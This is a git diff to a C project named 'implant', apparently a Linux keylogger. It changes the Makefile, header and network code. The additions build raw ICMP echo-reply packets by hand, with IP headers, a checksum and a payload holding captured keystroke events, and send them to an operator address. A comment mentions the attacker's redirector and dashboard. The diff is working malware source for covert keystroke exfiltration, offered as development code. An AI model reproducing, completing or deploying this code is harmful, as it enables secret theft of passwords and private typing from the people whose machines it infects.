diff --git a/implant/Makefile b/implant/Makefile
@@ -13,7 +13,7 @@ LINK_FLAG =
CFLAGS = -Wno-unused-command-line-argument -fPIC
ifeq ($(MAKECMDGOALS), debug)
- CFLAGS += -g3 -DDEBUG -Wno-format-security
+ CFLAGS += -g3 -DDEBUG -Wno-format-security -Wno-visibility
else
CFLAGS += -Wall -Wextra -Os -Weverything -Wpedantic -Wl,-s
CFLAGS += -flto -m64 -fvisibility=hidden -fvisibility-inlines-hidden -s
diff --git a/implant/includes/implant.h b/implant/includes/implant.h
@@ -66,6 +66,7 @@ typedef struct implant_s {
#define KEY_RELEASED 0
// net.c
+int retrieve_ip_address(char *ip[32]);
int send_key_icmp(implant_t *, struct input_event);
// opt.c
diff --git a/implant/sources/main.c b/implant/sources/main.c
@@ -1,5 +1,6 @@
+#include <alloca.h>
#include <unistd.h>
#include "implant.h"
diff --git a/implant/sources/net.c b/implant/sources/net.c
@@ -1,21 +1,22 @@
+#include <alloca.h>
#include <linux/input.h>
+#include <stdlib.h>
-#include <stdint.h>
-#include <sys/socket.h>
-#include <sys/ioctl.h>
-#include <net/if.h>
#include <arpa/inet.h>
+#include <net/if.h>
#include <netinet/in.h>
-#include <string.h>
-#include <arpa/inet.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
+#include <stdint.h>
#include <stdio.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/socket.h>
#include <unistd.h>
#include "implant.h"
-static int retrieve_ip_address(char *ip[32]) {
+int retrieve_ip_address(char *ip[32]) {
/* open UDP socket to resolver google DNS, retrieve IP address in resp */
@@ -23,13 +24,13 @@ static int retrieve_ip_address(char *ip[32]) {
const uint16_t dns_port = 53;
int sockfd = socket(AF_INET, SOCK_DGRAM, 0);
-if (sockfd < 0) {
+ if (sockfd < 0) {
#ifdef DEBUG
DEBUG_LOG("[+] could not load UDP socket in retrieve_ip_address()\n");
perror("socket");
#endif
-cleanup_close_socket:
+ cleanup_close_socket:
close(sockfd);
return 0;
}
@@ -39,7 +40,7 @@ cleanup_close_socket:
serv.sin_addr.s_addr = inet_addr(resolver);
serv.sin_port = htons(dns_port);
- if (-1 == connect(sockfd, (const struct sockaddr*)&serv, sizeof(serv))) {
+ if (-1 == connect(sockfd, (const struct sockaddr *)&serv, sizeof(serv))) {
#ifdef DEBUG
DEBUG_LOG("[+] could not connect to %s (port: %d)\n", resolver, dns_port);
perror("connect");
@@ -50,7 +51,7 @@ cleanup_close_socket:
struct sockaddr_in name;
socklen_t namelen = sizeof(name);
- if (-1 == getsockname(sockfd, (struct sockaddr*) &name, &namelen)) {
+ if (-1 == getsockname(sockfd, (struct sockaddr *)&name, &namelen)) {
#ifdef DEBUG
DEBUG_LOG("[+] could not get socket name\n");
perror("getsockname");
@@ -59,14 +60,42 @@ cleanup_close_socket:
goto cleanup_close_socket;
}
- // TODO(djnn): testing testing testing
+ const char *p = inet_ntop(AF_INET, &name.sin_addr, *ip, 32);
+ if (!p) {
- const char* p = inet_ntop(AF_INET, &name.sin_addr, *ip, 32);
+ goto cleanup_close_socket;
+ }
close(sockfd);
return 1;
}
+static uint16_t icmp_checksum(uint16_t *addr, int len) {
+ int nleft = len;
+ uint32_t sum = 0;
+ uint16_t *w = addr;
+ uint16_t answer = 0;
+
+ // Adding 16 bits sequentially in sum
+ while (nleft > 1) {
+ sum += *w;
+ nleft -= 2;
+ w++;
+ }
+
+ // If an odd byte is left
+ if (nleft == 1) {
+ *(unsigned char *)(&answer) = *(unsigned char *)w;
+ sum += answer;
+ }
+
+ sum = (sum >> 16) + (sum & 0xffff);
+ sum += (sum >> 16);
+ answer = ~sum;
+
+ return answer;
+}
+
/* Layout of the DATA packet is following
* [ Locale (length: 31), using_cap_lock, struct input_event dump ]
*/
@@ -96,16 +125,16 @@ int send_key_icmp(implant_t *implant, struct input_event event) {
perror("socket");
#endif
-cleanup_error:
+ cleanup_error:
close(sockfd);
return ERROR;
}
int enabled = 1;
if (setsockopt(sockfd, IPPROTO_IP,
- IP_HDRINCL,
- (const char *)&enabled,
- sizeof(enabled)) == -1) {
+ IP_HDRINCL,
+ (const char *)&enabled,
+ sizeof(enabled)) == -1) {
#ifdef DEBUG
DEBUG_LOG("[+] could not set ICMP socket options\n");
perror("setsockopt");
@@ -115,9 +144,8 @@ cleanup_error:
}
if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT,
- &enabled,
- sizeof(int)
- ) < 0) {
+ &enabled,
+ sizeof(int)) < 0) {
#ifdef DEBUG
DEBUG_LOG("[+] could not set ICMP socket options\n");
perror("setsockopt");
@@ -128,7 +156,9 @@ cleanup_error:
/* set packet metadata */
- char local_ip[32] = {0};
+ /* NOTE(djnn): this will be the local IP address, dont rely on this on
+ the dashboard side (use whatever your redirector / firewall gives u) */
+ char *local_ip = alloca(32);
if (!retrieve_ip_address((char **)&local_ip)) {
#ifdef DEBUG
DEBUG_LOG("[+] could not get public ip address\n");
@@ -139,18 +169,59 @@ cleanup_error:
int packet_type = ICMP_ECHOREPLY;
- struct iphdr *ip = NULL;
- struct icmphdr *icmp = NULL;
struct in_addr src_addr = {0};
struct in_addr dest_addr = {0};
inet_pton(AF_INET, local_ip, &src_addr);
inet_pton(AF_INET, implant->ip, &dest_addr);
+ /* this will be what we actually send (basically just payload + a bunch of things) */
+ char *full_packet = NULL;
+ int packetsz = sizeof(struct iphdr) + sizeof(struct icmphdr) + sizeof(payload);
+ full_packet = calloc(packetsz, sizeof(uint8_t));
+ if (!full_packet) {
+#ifdef DEBUG
+ DEBUG_LOG("[+] send_icmp: could not allocate heap memory!\n");
+ perror("calloc");
+#endif
- return SUCCESSFUL;
-}
+ goto cleanup_error;
+ }
+
+ struct iphdr *ip = (struct iphdr *)full_packet;
+ struct icmphdr *icmp = (struct icmphdr *)(full_packet + sizeof(struct iphdr));
+ char *icmp_payload = (char *)(full_packet + sizeof(struct iphdr) + sizeof(struct icmphdr));
+
+ /* configuring the headers */
+
+ ip->version = 4;
+ ip->ihl = 5;
+ ip->tos = 0;
+ ip->id = rand();
+ ip->frag_off = 0;
+ ip->ttl = 255;
+ ip->protocol = IPPROTO_ICMP;
+ ip->tot_len = htons(packetsz);
+ ip->saddr = src_addr.s_addr;
+ ip->daddr = dest_addr.s_addr;
+ icmp->code = 0;
+ icmp->un.echo.sequence = rand();
+ icmp->un.echo.id = rand();
+ icmp->checksum = 0;
+ memcpy(icmp_payload, payload, sizeof(payload));
+ icmp->type = ICMP_ECHOREPLY;
+ icmp->checksum = icmp_checksum((unsigned short *)icmp, sizeof(struct icmphdr) + sizeof(payload));
+
+ struct sockaddr_in servaddr;
+ memset(&servaddr, 0, sizeof(struct sockaddr_in));
+ servaddr.sin_family = AF_INET;
+ servaddr.sin_addr.s_addr = dest_addr.s_addr;
+
+ sendto(sockfd, full_packet, packetsz, 0, (struct sockaddr *)&servaddr, sizeof(struct sockaddr_in));
+ free(full_packet);
+ return SUCCESSFUL;
+}
| | | |